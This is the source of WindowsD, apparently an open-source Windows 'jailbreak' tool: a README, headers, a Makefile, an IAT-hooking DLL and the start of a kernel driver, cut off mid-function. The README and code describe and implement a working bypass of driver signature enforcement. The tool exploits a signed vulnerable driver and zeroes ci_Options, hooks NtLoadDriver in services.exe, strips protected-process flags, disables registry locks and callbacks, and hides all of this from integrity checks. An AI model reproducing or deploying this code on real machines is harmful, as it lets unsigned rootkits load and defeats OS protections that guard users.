├── manifest.xml
├── regint.h
├── ntcruft.h
├── defs.h
├── service.c
├── Makefile
├── wind.h
├── README.md
├── driver.c
└── wind.c
/manifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/regint.h:
--------------------------------------------------------------------------------
1 | typedef struct {
2 | ULONG RefCount;
3 | ULONG ExtFlags : 16;
4 | ULONG PrivateAlloc : 1;
5 | ULONG Delete : 1;
6 | ULONG HiveUnloaded : 1;
7 | ULONG Decommissioned : 1;
8 | ULONG LockTablePresent : 1;
9 | ULONG TotalLevels : 10;
10 | ULONG : 1;
11 | ULONG DelayedDeref : 1;
12 | ULONG DelayedClose : 1;
13 | ULONG Parking : 1;
14 | } CM_KEY_CONTROL_BLOCK;
15 |
16 | typedef struct {
17 | LIST_ENTRY HiveList;
18 | LIST_ENTRY PostList;
19 | CM_KEY_CONTROL_BLOCK *KeyControlBlock;
20 | struct CM_KEY_BODY *KeyBody;
21 | ULONG Filter : 30;
22 | ULONG WatchTree : 1;
23 | ULONG NotifyPending : 1;
24 | ULONG opaque[0];
25 | } CM_NOTIFY_BLOCK;
26 |
27 | typedef struct CM_KEY_BODY {
28 | ULONG Type;
29 | CM_KEY_CONTROL_BLOCK *KeyControlBlock;
30 | CM_NOTIFY_BLOCK *NotifyBlock;
31 | void *procid;
32 | LIST_ENTRY KeyBodyList;
33 | } CM_KEY_BODY;
34 |
35 | #define CM_KCB_READ_ONLY_KEY 0x0080
36 | #define CM_KCB_NO_DELAY_CLOSE 0x0020
37 |
38 |
39 |
--------------------------------------------------------------------------------
/ntcruft.h:
--------------------------------------------------------------------------------
1 |
2 | typedef struct {
3 | HANDLE Section;
4 | PVOID MappedBase;
5 | PVOID ImageBase;
6 | ULONG ImageSize;
7 | ULONG Flags;
8 | USHORT LoadOrderIndex;
9 | USHORT InitOrderIndex;
10 | USHORT LoadCount;
11 | USHORT OffsetToFileName;
12 | UCHAR FullPathName[256];
13 | } RTL_PROCESS_MODULE_INFORMATION;
14 | typedef struct {
15 | ULONG NumberOfModules;
16 | RTL_PROCESS_MODULE_INFORMATION Modules[1];
17 | } RTL_PROCESS_MODULES;
18 |
19 | typedef struct {
20 | PVOID QueryRoutine;
21 | ULONG Flags;
22 | PCWSTR Name;
23 | PVOID EntryContext;
24 | ULONG DefaultType;
25 | PVOID DefaultData;
26 | ULONG DefaultLength;
27 | } RTL_QUERY_REGISTRY_TABLE;
28 |
29 | NTSTATUS NTAPI NtLoadDriver(PUNICODE_STRING);
30 | NTSTATUS NTAPI NtUnloadDriver(PUNICODE_STRING);
31 | NTSTATUS NTAPI RtlCreateRegistryKey(ULONG,PWSTR);
32 | NTSTATUS NTAPI RtlWriteRegistryValue(ULONG,PCWSTR,PCWSTR,ULONG,PVOID,ULONG);
33 | NTSTATUS NTAPI NtOpenKey(PHANDLE,ACCESS_MASK,POBJECT_ATTRIBUTES);
34 | NTSTATUS NTAPI NtDeleteKey(HANDLE);
35 | NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN);
36 |
37 |
38 |
--------------------------------------------------------------------------------
/defs.h:
--------------------------------------------------------------------------------
1 | // ONLY macros
2 |
3 | #define LOADER_ID 10
4 | #define SYS_ID 20
5 | #define DLL_ID 30
6 |
7 | #ifdef _WIN64
8 | #define BITS "64"
9 | #define ENTRY(x) _##x
10 | #else
11 | #define ENTRY(x) x
12 | #define BITS "32"
13 | #endif
14 |
15 | #define BASENAME "WinD" BITS
16 |
17 | #define RTL_STRING(s) ((UNICODE_STRING){sizeof(s)-sizeof((s)[0]),sizeof(s),(s)})
18 |
19 | #define RVA2PTR(base,rva) ((void*)(((PCHAR) base) + rva))
20 | #define ID_SeLoadDriverPrivilege 10
21 | #define LUID_SeLoadDriverPrivilege (LUID){ID_SeLoadDriverPrivilege,0}
22 |
23 | #define FILE_VBS "wind-restorepoint.vbs"
24 | #define RESTORE_VBS \
25 | "set obj=GetObject(\"winmgmts:\\\\.\\root\\default:Systemrestore\")\nobj.Enable(\"\")\n" \
26 | "obj.CreateRestorePoint \"%s\", 0, 100\nWScript.Quit 123"
27 |
28 | #define POLICY_KEY "System\\CurrentControlSet\\Control\\ProductOptions"
29 | #define PRODUCT_POLICY "ProductPolicy"
30 | #define CUSTOM_POLICY "CustomPolicy"
31 |
32 | #define NT_MACHINE L"\\Registry\\Machine\\"
33 |
34 | #define POLICY_PATH NT_MACHINE POLICY_KEY
35 | #define SVC_BASE NT_MACHINE "System\\CurrentControlSet\\Services\\"
36 | #define LOAD_ATTEMPTS 8
37 |
38 | #ifndef NDEBUG
39 | #ifdef _WIND_DRIVER
40 | #define DBG(x...) DbgPrint("WIND: " x);
41 | #else
42 | //#define DBG(x...) { printf("! %s:%d@%s(): ",__FILE__,__LINE__,__func__); printf(x); printf("\n"); }
43 | #define DBG(x...) { \
44 | char _buf[512]; \
45 | sprintf(_buf + sprintf(_buf, "WIND: %s:%d@%s(): ",__FILE__,__LINE__,__func__), x); \
46 | strcat(_buf, "\n"); \
47 | OutputDebugStringA(_buf); \
48 | }
49 | #endif
50 | #else
51 | #define DBG(x...)
52 | #endif
53 |
54 | #define RTL_QUERY_REGISTRY_TYPECHECK 0x00000100
55 | #define RTL_QUERY_REGISTRY_TYPECHECK_SHIFT 24
56 |
57 | #define WIN7 (cfg.protbit >= 0)
58 | #define SystemModuleInformation 0xb
59 | #define SystemBootEnvironmentInformation 0x5a
60 | #define SystemCodeIntegrityInformation 0x67
61 | #define SystemSecureBootPolicyInformation 0x8f
62 |
63 |
64 | #define WSKIP(p) while (*p == L' ' || *p == L'\t') p++;
65 | #define EQUALS(a,b) (RtlCompareMemory(a,b,sizeof(b)-1)==(sizeof(b)-1))
66 |
67 |
--------------------------------------------------------------------------------
/service.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "defs.h"
6 | #include "ntcruft.h"
7 | #include "wind.h"
8 |
9 | static void *patch_iat(HMODULE hostexe, char *dll, char *func, void *to)
10 | {
11 | PIMAGE_DOS_HEADER mz = (void*)hostexe;
12 | PIMAGE_IMPORT_DESCRIPTOR imports;
13 |
14 | imports = RVA2PTR(mz, ((PIMAGE_NT_HEADERS)RVA2PTR(mz, mz->e_lfanew))->
15 | OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
16 |
17 | for (int i = 0; imports[i].Characteristics; i++) {
18 | PIMAGE_THUNK_DATA t1, t2;
19 | PIMAGE_IMPORT_BY_NAME import;
20 |
21 | char *dlln = RVA2PTR(mz, imports[i].Name);
22 | DBG("checking dll %s", dlln);
23 | if (_stricmp(dll, dlln))
24 | continue;
25 |
26 | t1 = RVA2PTR(mz, imports[i].FirstThunk);
27 | t2 = RVA2PTR(mz, imports[i].OriginalFirstThunk);
28 |
29 | for (; t2->u1.Function; t1++, t2++) {
30 | void *oldfn;
31 | DWORD oldp;
32 | MEMORY_BASIC_INFORMATION vmi;
33 |
34 | if (t2->u1.Ordinal & IMAGE_ORDINAL_FLAG)
35 | continue;
36 |
37 | import = RVA2PTR(mz, t2->u1.AddressOfData);
38 | if (strcmp(func, (char*)import->Name))
39 | continue;
40 |
41 | oldfn = (void*)t1->u1.Function;
42 | DBG("oldfn is %p\n",oldfn);
43 |
44 | VirtualQuery(t1, &vmi, sizeof(vmi));
45 | if (!VirtualProtect(vmi.BaseAddress, vmi.RegionSize, PAGE_READWRITE, &oldp)) {
46 | DBG("VirtualProtect failed with %d", (int)GetLastError());
47 | return NULL;
48 | }
49 | t1->u1.Function = (ULONG_PTR)to;
50 | VirtualProtect(vmi.BaseAddress, vmi.RegionSize, oldp, &oldp);
51 | return oldfn;
52 | }
53 | }
54 | DBG("symbol %s@%s not found in imports", func, dll);
55 | return NULL;
56 | }
57 |
58 | static NTSTATUS insmod(PUNICODE_STRING svc)
59 | {
60 | return wind_insmod(svc->Buffer);
61 | }
62 |
63 | BOOL APIENTRY ENTRY(dll_main)(HANDLE hModule, DWORD code, LPVOID res)
64 | {
65 | static int done = 0;
66 | if (code != DLL_PROCESS_ATTACH || done)
67 | return TRUE;
68 | done = 1;
69 | DBG("inside dll!");
70 | patch_iat(GetModuleHandle(NULL), "ntdll.dll", "NtLoadDriver", insmod);
71 | return TRUE;
72 | }
73 |
74 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | TRIPLET=$(shell gcc -dumpmachine)
2 | ifeq ($(findstring i686,$(TRIPLET)),)
3 | BITS?=64
4 | else
5 | BITS?=32
6 | endif
7 |
8 | ifeq ($(BITS),32)
9 | DDK?=/c/msys64/mingw32/i686-w64-mingw32/include/ddk
10 | else
11 | DDK?=/c/msys64/mingw64/x86_64-w64-mingw32/include/ddk
12 | endif
13 |
14 | CC=gcc
15 |
16 | TGT=wind$(BITS)
17 | all: $(TGT)
18 |
19 | CFLAGS=$(OPT) -municode -Wall -Wno-unused-function
20 | LIBS=-lkernel32 -lntdll -lmsvcrt
21 | FFLAGS=-fno-ident -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -fno-asynchronous-unwind-tables -fno-exceptions
22 | LDFLAGS=-Wl,--enable-stdcall-fixup -nostartfiles -Wl,-e_win_main -Wl,--exclude-all-symbols
23 | DLDFLAGS=$(LDFLAGS) -shared -Wl,-e_dll_main -nostartfiles -lntdll -nostdlib -lkernel32 -lmsvcrt -Wl,--exclude-all-symbols
24 | SLDFLAGS=$(LDFLAGS) -shared -Wl,-e_driver_entry -Wl,--subsystem=native -nostartfiles -nostdlib -lntoskrnl -Wl,--exclude-all-symbols
25 | VERSTR=v2.2
26 |
27 | ifeq ($(DEBUG),)
28 | OPT=-O2 -DNDEBUG
29 | STRIP=objcopy --strip-all
30 | else
31 | STRIP=echo
32 | OPT=-O0 -ggdb
33 | endif
34 |
35 |
36 | $(TGT): $(TGT).exe
37 |
38 | %.o : %.rc
39 | windres $< $@
40 |
41 |
42 | $(TGT).exe : wind.c manifest.xml loader$(BITS).o $(TGT)-dll.o $(TGT)-sys.o defs.h wind.h
43 | echo -e "1 24 manifest.xml" | windres -o manifest.o
44 | $(CC) -DVERSTR=\"$(VERSTR)\" wind.c manifest.o loader$(BITS).o $(TGT)-dll.o $(TGT)-sys.o -o $@ $(FFLAGS) $(CFLAGS) $(LIBS) $(LDFLAGS)
45 | $(STRIP) $@
46 | $(TGT)-sys.o: driver.c defs.h wind.h
47 | $(CC) -I$(DDK) driver.c -o $(TGT).sys $(FFLAGS) $(CFLAGS) $(SLDFLAGS)
48 | # Win 8/10 kernel can't stand debug symbol tables :(
49 | cp $(TGT).sys $(TGT)-dbg.sys
50 | strip $(TGT).sys
51 | $(STRIP) $(TGT).sys
52 | echo -e '#include "defs.h"\nSYS_ID RCDATA "$(TGT).sys"' | windres -o $@
53 | $(TGT)-dll.o: service.c defs.h wind.h
54 | $(CC) service.c -o $(TGT).dll $(FFLAGS) $(CFLAGS) $(DLDFLAGS)
55 | $(STRIP) $(TGT).dll
56 | echo -e '#include "defs.h"\nDLL_ID RCDATA "$(TGT).dll"' | windres -o $@
57 |
58 | ifneq ($(LOADERS),)
59 | loader32.rc: win7sp1x86/termdd.sys
60 | echo -e '#include "defs.h"\nLOADER_ID RCDATA "$<"' | windres -o $@
61 | loader64.rc: win7sp1x64/termdd.sys
62 | echo -e '#include "defs.h"\nLOADER_ID RCDATA "$<"' | windres -o $@
63 | endif
64 |
65 | clean:
66 | rm -f *.exe *.sys *.dll *.o
67 |
68 |
--------------------------------------------------------------------------------
/wind.h:
--------------------------------------------------------------------------------
1 | // Public API, standalone header.
2 | // Parent includes: windows.h, winternl.h
3 | // Links against ntdll.
4 |
5 | // Open \\Device\\WinD
6 | #define WIND_DEVNAME "WinD"
7 |
8 | // Used to pass initialization.
9 | typedef struct {
10 | UCHAR *ci_opt;
11 | UCHAR *ci_orig;
12 | UCHAR ci_guess; // If ciorigptr is 0, use this guess instead.
13 | int protofs; // _EPROCESS->Flags2 offset on Win7, PS_PROTECTION Win8.
14 | int protbit; // Flags2->ProtectedProcess bit on Win7, -1 otherwise.
15 | int bootreg; // process registry entries at boot
16 | LIST_ENTRY *cblist;
17 | NTSTATUS NTAPI (*pExUpdateLicenseData)(ULONG,PVOID);
18 | NTSTATUS __fastcall (*pExUpdateLicenseData2)(ULONG,PVOID);
19 | } wind_config_t;
20 | #define WIND_POL_MAX 512
21 |
22 | #define WIND_IOCTL_REGCBOFF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
23 | #define WIND_IOCTL_REGCBON CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
24 |
25 | // Load a driver. Argument is simply the unicode string.
26 | #define WIND_IOCTL_INSMOD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)
27 |
28 | // Lock/Unlock registry key. Odd ones are the 'on' command.
29 | #define WIND_IOCTL_REGLOCKON CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)
30 | #define WIND_IOCTL_REGLOCKOFF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS)
31 | #define WIND_IOCTL_REGNON CTL_CODE(FILE_DEVICE_UNKNOWN, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS)
32 | #define WIND_IOCTL_REGNOFF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS)
33 |
34 |
35 | // Get/set WinTcb process protection.
36 | #define WIND_IOCTL_PROT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS)
37 | typedef struct {
38 | char SignatureLevel;
39 | char SectionSignatureLevel;
40 | char Level;
41 | UCHAR Type:3;
42 | UCHAR Audit:1;
43 | UCHAR Signer:4;
44 | } WIND_PS_PROTECTION;
45 | typedef struct {
46 | LONG_PTR pid; // Pid this is for. Negative = get flags only.
47 | WIND_PS_PROTECTION prot;// New protection flags. Old flags stored in there.
48 | } wind_prot_t;
49 |
50 | // Policy header
51 | typedef struct {
52 | ULONG sz; // Size of everything.
53 | ULONG data_sz; // Always sz-0x18.
54 | ULONG endpad; // End padding. Usually 4.
55 | ULONG tainted; // 1 if tainted.
56 | ULONG pad1; // Always 1
57 | } __attribute((packed)) wind_pol_hdr;
58 |
59 | // Policy entry
60 | typedef struct {
61 | USHORT sz; // Size of whole entry.
62 | USHORT name_sz; // Size of the following field, in bytes.
63 | USHORT type; // Field type
64 | USHORT data_sz; // Field size
65 | ULONG flags; // Field flags
66 | ULONG pad0; // Always 0
67 | UCHAR name[0]; // WCHAR name, NOT zero terminated!
68 | } __attribute__((packed)) wind_pol_ent;
69 |
70 | static int wind_pol_unpack(UCHAR *blob, wind_pol_ent **array)
71 | {
72 | wind_pol_hdr *h = (void*)blob;
73 | wind_pol_ent *e = (void*)blob + sizeof(*h);
74 | void *endptr = ((void*)e) + h->data_sz;
75 | int n = 0;
76 | // Unusual.
77 | if (h->sz >= 65536)
78 | return -1;
79 | if (h->endpad != 4)
80 | return -2;
81 | if (h->data_sz+0x18 != h->sz)
82 | return -3;
83 | if (blob[h->sz-4] != 0x45)
84 | return -4;
85 | while (((void*)e) < endptr) {
86 | array[n++] = e;
87 | e = ((void*)e) + e->sz;
88 | if (n == WIND_POL_MAX)
89 | return -1;
90 | }
91 | return n;
92 | }
93 |
94 | static int wind_pol_pack(UCHAR *dst, wind_pol_ent **array, int n)
95 | {
96 | wind_pol_hdr *h = (void*)dst;
97 | wind_pol_ent *e = (void*)dst + sizeof(*h);
98 | int i = 0;
99 | memset(dst, 0, 65536);
100 | for (i = 0; i < n; i++) {
101 | int total = sizeof(*e) + array[i]->name_sz + array[i]->data_sz;
102 | memcpy(e, array[i], total);
103 | total = (total + 4) & (~3);
104 | e->sz = total;
105 | e = ((void*)e) + total;
106 | h->data_sz += total;
107 | }
108 | h->sz = h->data_sz + 0x18;
109 | h->endpad = 4;
110 | h->pad1 = 1;
111 | dst[h->sz-4] = 0x45;
112 | return h->sz;
113 | }
114 |
115 | // Open the kernel driver
116 | #ifndef _WIND_DRIVER
117 | #define WIND_RTL_STRING(s) ((UNICODE_STRING){sizeof(s)-sizeof((s)[0]),sizeof(s),(s)})
118 | static HANDLE wind_open()
119 | {
120 | OBJECT_ATTRIBUTES attr = {
121 | .Length = sizeof(attr),
122 | .Attributes = OBJ_CASE_INSENSITIVE,
123 | .ObjectName = &WIND_RTL_STRING(L"\\Device\\" WIND_DEVNAME),
124 | };
125 | IO_STATUS_BLOCK io;
126 | HANDLE dev;
127 | BOOLEAN old;
128 | extern NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN);
129 | RtlAdjustPrivilege(10, 1, 0, &old);
130 | NTSTATUS status = NtOpenFile(&dev, FILE_GENERIC_READ, &attr, &io,
131 | FILE_SHARE_READ,FILE_NON_DIRECTORY_FILE| FILE_SYNCHRONOUS_IO_NONALERT);
132 | if (status == STATUS_NOT_FOUND)
133 | return NULL;
134 | if (!NT_SUCCESS(status))
135 | return NULL;
136 | return dev;
137 | }
138 |
139 | // Pass an ioctl. IOCTLs with 9th bit set are read-write, others are write-only.
140 | static NTSTATUS wind_ioctl(HANDLE dev, ULONG num, void *buf, int len)
141 | {
142 | IO_STATUS_BLOCK io;
143 | if (num & (0x100<<2)) {
144 | return NtDeviceIoControlFile(dev, NULL, NULL, NULL, &io,
145 | num, buf, len, buf, len);
146 | } else {
147 | return NtDeviceIoControlFile(dev, NULL, NULL, NULL, &io,
148 | num, buf, len, NULL, 0);
149 | }
150 | }
151 | static NTSTATUS wind_ioctl_string(HANDLE dev, ULONG num, WCHAR *s)
152 | {
153 | return wind_ioctl(dev, num, s, wcslen(s)*2+2);
154 | }
155 |
156 | // Close driver.
157 | static NTSTATUS wind_close(HANDLE dev)
158 | {
159 | extern NTSTATUS NTAPI NtClose(HANDLE);
160 | if (dev)
161 | return NtClose(dev);
162 | return 0;
163 | }
164 |
165 | #ifndef STATUS_IMAGE_CERT_EXPIRED
166 | #define STATUS_IMAGE_CERT_EXPIRED 0xc0000605
167 | #endif
168 |
169 | // Utility: Load a driver with DSE bypass.
170 | static NTSTATUS wind_insmod(WCHAR *svc)
171 | {
172 | UNICODE_STRING svcu;
173 | NTSTATUS status;
174 |
175 | RtlInitUnicodeString(&svcu, svc);
176 | status = NtLoadDriver(&svcu);
177 | // TBD: are these all the evil ones?
178 | if (status == STATUS_IMAGE_CERT_REVOKED
179 | || status == STATUS_INVALID_SIGNATURE
180 | || status == STATUS_INVALID_IMAGE_HASH
181 | || status == STATUS_INVALID_SID
182 | || status == STATUS_IMAGE_CERT_EXPIRED
183 | || status == STATUS_HASH_NOT_PRESENT
184 | || status == STATUS_HASH_NOT_SUPPORTED) {
185 |
186 | HANDLE h = wind_open();
187 | if (!h) return status;
188 | status = wind_ioctl_string(h, WIND_IOCTL_INSMOD, svc);
189 | wind_close(h);
190 | }
191 | return status;
192 | }
193 |
194 | #endif
195 |
196 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## WindowsD - Fixing broken windows
2 |
3 | *Aka drivers won't load, processes are unkillable, registry can't be edited...*
4 |
5 | WinD is a 3rd party "jailbreak" so administrators can remove some
6 | mal-features introduced in modern windows versions. Currently, it can disable:
7 |
8 | * Driver signing, including WHQL-only locked systems (secureboot tablets).
9 | * Protected processes (used for DRM, "WinTcb").
10 | * Read-only, "invulnerable" registry keys some software and even windows itself employs
11 |
12 | WinD works similiarly to [other tools](https://github.com/hfiref0x/DSEFix) which disable DSE, but is
13 | designed to be more user friendly and support for more OS/hardware combinations.
14 |
15 | It is also designed to be "transparent", that is anything probing for
16 | "integrity" - typically DRM - will still see the system as locked down,
17 | even if drivers and processes are accessible to system administrator.
18 |
19 | The idea is more or less 'run once and forget'.
20 |
21 | Only accounts with SeLoadDriverPrivilege (admin) can use it.
22 |
23 | ### Supported windows versions
24 |
25 | Almost all builds of Windows 7, 8.1 and 10, 32bit and 64bit on Intel CPUs were tested.
26 | You need to use specific WinD32/64 .exe according to bit-ness of your system.
27 |
28 | XP64, Vista and server editions *may* work, but you're on your own.
29 |
30 | ### Usage
31 |
32 | Download Wind32/64 according to bit edition of windows and simply click the
33 | exe. An installation wizard should start guiding through installation (it
34 | should be enough to answer y to everything). After that, your system should
35 | be unlocked and software with unsigned drivers should start working
36 | normally again.
37 |
38 | ### Advanced usage
39 |
40 | If you don't want to install on-boot loader, but only load particular
41 | service/driver while bypassing DSE, type:
42 |
43 | ```
44 | > wind64 /l yourdriver.sys
45 | ```
46 | \- or -
47 | ```
48 | > wind64 /l DriverServiceName
49 | ```
50 |
51 | But if you want your system to ignore signatures as a whole (ie load installed
52 | drivers at boot), use:
53 |
54 | ```
55 | > wind64 /i
56 | ```
57 |
58 | Which will install it as a service permanently. It is recommended you create
59 | a system restore point beforehand, in the event something will not go as planned.
60 |
61 | In case you want to uninstall the service (and re-lock your system), use:
62 |
63 | ```
64 | > wind64 /u
65 | ```
66 |
67 | ### Process protection
68 |
69 | Windows has a concept of "protected process" - one which cannot be tampered
70 | with. Of course this is only a fiat restriction, and we can disable it with:
71 |
72 | ```
73 | > wind64 /d 1234
74 | ```
75 |
76 | Where 1234 is PID of the process you want to unprotect. Once unprotected,
77 | a debugger can be attached, hooks can be injected etc. This command is
78 | useful only on Win7 and early win8/10 - later versions use patchguard to
79 | watch for changes of protection flags.
80 |
81 | Meaning you have to employ same trick as we do for loading drivers - reset
82 | protection, do your stuff, restore protection - and do it quick. This can
83 | be done only via the C API.
84 |
85 | Another route is elevate your own process to WinTcb level (which should not
86 | register it with PG), at which point it should be possible to fiddle with
87 | other WinTcb process. For that, you need to get familiar with internal
88 | encodings of PS_PROTECTION structure. More in-depth description can be
89 | found at Alex's blog:
90 |
91 | * [Protected Processes Part 1: Pass-the-Hash Mitigations in Windows 8.1](http://www.alex-ionescu.com/?p=97)
92 | * [Protected Processes Part 2: Exploit/Jailbreak Mitigations, Unkillable Processes and Protected Services](http://ww.alex-ionescu.com/?p=116)
93 | * [Protected Processes Part 3: Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs & Runtime Signers)](http://www.alex-ionescu.com/?p=146)
94 |
95 | ### Registry
96 |
97 | Windows contains 3 mechanisms to make dealing with registry especially painful:
98 |
99 | 1. "Hard R/O lock", an undocumented, but publicly exported system call, `NtLockRegistryKey()`. This will
100 | make given key read-only, until next reboot. Worse still, there does not need to be even a process or driver
101 | holding onto the key.
102 | 2. "Soft Lock", `NtNotifyChangeKey()`. For this one, there has to be something holding on the open key handle and
103 | listening to notifications about changes to key value. The listener is either a thread, or kernel-resident
104 | driver. They'll usually silently replace the key back to value they want. No errors are reported, but the key
105 | cannot be edited.
106 | 3. Global hooks. These can be installed only by kernel drivers, and hook directly to registry operation calls.
107 | These are not per-key. Originally designed for AV software, but malware has use for it too.
108 |
109 | Note that all methods work at run time, they are not permanent permission within the registry.
110 | "Protection" like this, unlike permissions, works only within the currently running session.
111 |
112 | WindowsD allows you to override and control all of these methods.
113 |
114 | #### Method 1
115 | Parameters `/RD` and `/RE`:
116 |
117 | ```
118 | > wind64 /RE \Registry\Machine\SYSTEM\CurrentControlSet\Control\Services
119 | ```
120 | Will very sternly disallow writing to this subtree - no new services can be installed. There does
121 | not exist permission to disable this setting (except via `/RD` command), and almost nothing can
122 | override it - not even internal kernel APIs.
123 |
124 | `/RD` and `/RE` can be issued on any key.
125 |
126 | #### Method 2
127 | Parameters `/ND` and `/NE`
128 | ```
129 | > wind64 /ND \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows
130 | ```
131 | Will disable notifications on this subtree (which contains frequently hijacked autorun, `AppInit_DLLs`).
132 | Now you can edit it back to value you want, without something mysterious forcing it back. Finally, you
133 | can even protect it with `/RE`.
134 |
135 | Note that `/NE` can be issued only on key with notifications previously disabled via `/ND`
136 |
137 | All registry paths are NT, not the usualy Win32 ones:
138 |
139 | * `\HKLM\` becomes `\Registry\Machine\`
140 | * `\HKCU\` becomes `\Registry\User\`
141 |
142 | #### Method 3
143 |
144 | Uses parameters `/CD` and `/CE`. There is no registry path to specify (that is specific
145 | to the driver which registered the callback), so we can simply disable and re-enable again all
146 | hooks present.
147 |
148 | ### Bugs / BSODs
149 |
150 | The tool depends on many undocumented windows internals, as such, may break
151 | every windows update. Usually, it will simply refuse to load and you'll see
152 | all restrictions in effect again. There is a small chance it will render system
153 | unbootable too, so before installing via `wind /i`, USE the system restore.
154 |
155 | If you boot your system in safe mode, the driver will refuse to load as well,
156 | and then you can simply uninstall the service via `/U` or manually:
157 |
158 | ```
159 | > sc delete WinD64inject
160 | ```
161 |
162 | If you get a BSOD, open an issue with exact version of windows and build number,
163 | and attach the following files from your system: `CI.DLL`, `NTOSKRNL.EXE`
164 |
165 | ### API
166 |
167 | There is header-only C API - `wind.h` Usage goes like:
168 |
169 | * `handle = wind_open()` - open the control device, NULL handle on error
170 | * `wind_ioctl(handle,command,buffer,buflen)` - send command(s)
171 | * `wind_close(handle)` - close the control device
172 |
173 | `command` can be:
174 |
175 | `WIND_IOCTL_INSMOD` - load driver, bypassing DSE. Service entry must already
176 | exist for the driver. Buffer is UTF16 service registry path, length is size of
177 | buffer in bytes, including terminating zeros.
178 |
179 | `WIND_IOCTL_PROT` - set/unset process protection. buffer points to `wind_prot_t`
180 | typed buffer.
181 |
182 | * `buf->pid` - set to pid you want to change protection flags for.
183 | * `buf->prot` - contents of this struct are copied to process protection flags,
184 | but original protection flags of process will be returned back in the same
185 | buffer - ie contents will be swapped.
186 |
187 | To unprotect a process, just clear all its flags - bzero(&buf->prot).
188 |
189 | You can re-protect a process after you're done with it, simply by calling the
190 | ioctl again with same buffer (it holds the original flags) and the `buf->prot`
191 | will be swapped again.
192 |
193 | `WIND_IOCTL_REGNON/OFF, WIND_IOCTL_REGLOCKON/OFF`
194 |
195 | These take string with registry key as paramater, and can turn locking and notifications on/off.
196 |
197 | ### Internals
198 |
199 | Just like DSEfix and things similiar to it, we simply load a signed driver,
200 | exploit vulnerability in it to gain access to kernel, and override the
201 | policy with whatever we want. There are some differences too:
202 |
203 | * Custom signed driver exploit is used, [technical details here](http://kat.lua.cz/posts/Some_fun_with_vintage_bugs_and_driver_signing_enforcement/#more)
204 | * 32bit support (Win8+ secureboot).
205 | * Can coexist with vmware/vbox as the exploit is not based on those (and hence
206 | does not need CPU with VT support either).
207 | * The vulnerable driver is WHQL signed, so it works even on systems restricted
208 | to WHQL via secureboot env.
209 | * We automate `reset ci_Options` -> `load unsigned` -> `ci_Options restore`
210 | PatchGuard dance by hooking services.exe to use our NtLoadDriver wrapper DLL.
211 |
212 | ### Building and debugging
213 | You need MSYS2 for building - https://msys2.github.io/
214 |
215 | Once you get that, drop into mingw-w64 shell and:
216 |
217 | ```
218 | MINGW64 ~$ pacman -S mingw-w64-i686-gcc mingw-w64-x86_64-gcc
219 | MINGW64 ~$ git clone https://github.com/katlogic/WindowsD
220 | MINGW64 ~$ cd WindowsD && make
221 | ```
222 |
223 | To build wind32.exe, just launch the "mingw-w64 win32" shell, and:
224 |
225 | ```
226 | MINGW32 ~$ cd WindowsD && make clean && make
227 | ```
228 |
229 | Cross compiling (on linux, or mingw32 from mingw64) is possible, but you'll have to tweak Makefile on your own.
230 |
231 | Finally, to get debug version:
232 |
233 | ```
234 | MINGW64 ~/WindowsD$ make DEBUG=1
235 | ```
236 |
237 | And you'll see both the userspace exe, dlls and kernel driver tracing heavily into DbgView.
238 |
--------------------------------------------------------------------------------
/driver.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #define _WIND_DRIVER
4 | #include "defs.h"
5 | #include "wind.h"
6 | #include "regint.h"
7 |
8 | static wind_config_t cfg = {(void*)(-(LONG)sizeof(cfg))};
9 | static KMUTEX ioctl_mutex;
10 |
11 |
12 | //
13 | // What follows is the meat of the whole DSE bypass.
14 | //
15 | // We temporarily flip the ci_Options to not validate, load driver, flip
16 | // ci_options back.
17 | //
18 | static void ci_restore()
19 | {
20 | DBG("current ci_Options=%08x\n", *((ULONG*)cfg.ci_opt));
21 | cfg.ci_opt[0] = cfg.ci_guess;
22 | DBG("now restored ci_Options=%08x\n", *((ULONG*)cfg.ci_opt));
23 | }
24 |
25 | static NTSTATUS driver_sideload(PUNICODE_STRING svc)
26 | {
27 | NTSTATUS status;
28 |
29 | // Clear ci_Options. Daaaaanger zone.
30 | cfg.ci_opt[0] = 0;
31 |
32 | // Now go fetch.
33 | status = ZwLoadDriver(svc);
34 |
35 | // Restore ci_Options.
36 | ci_restore();
37 |
38 | return status;
39 | }
40 |
41 | // The rest is just boring driver boilerplate...
42 | static NTSTATUS NTAPI dev_open(IN PDEVICE_OBJECT dev, IN PIRP irp)
43 | {
44 | irp->IoStatus.Status = STATUS_SUCCESS;
45 | irp->IoStatus.Information = 0;
46 | IoCompleteRequest(irp, IO_NO_INCREMENT);
47 | return STATUS_SUCCESS;
48 | }
49 |
50 | // Restore/remove notify of one potential CM_KEY_BODY.
51 | static int notify_unlock(int lock, CM_KEY_BODY *tkb, CM_KEY_BODY *kb)
52 | {
53 | int ret = 0;
54 | CM_NOTIFY_BLOCK *nb;
55 | DBG("unlock %d %p %p\n",lock,tkb,kb);
56 |
57 | if (!tkb)
58 | return 0;
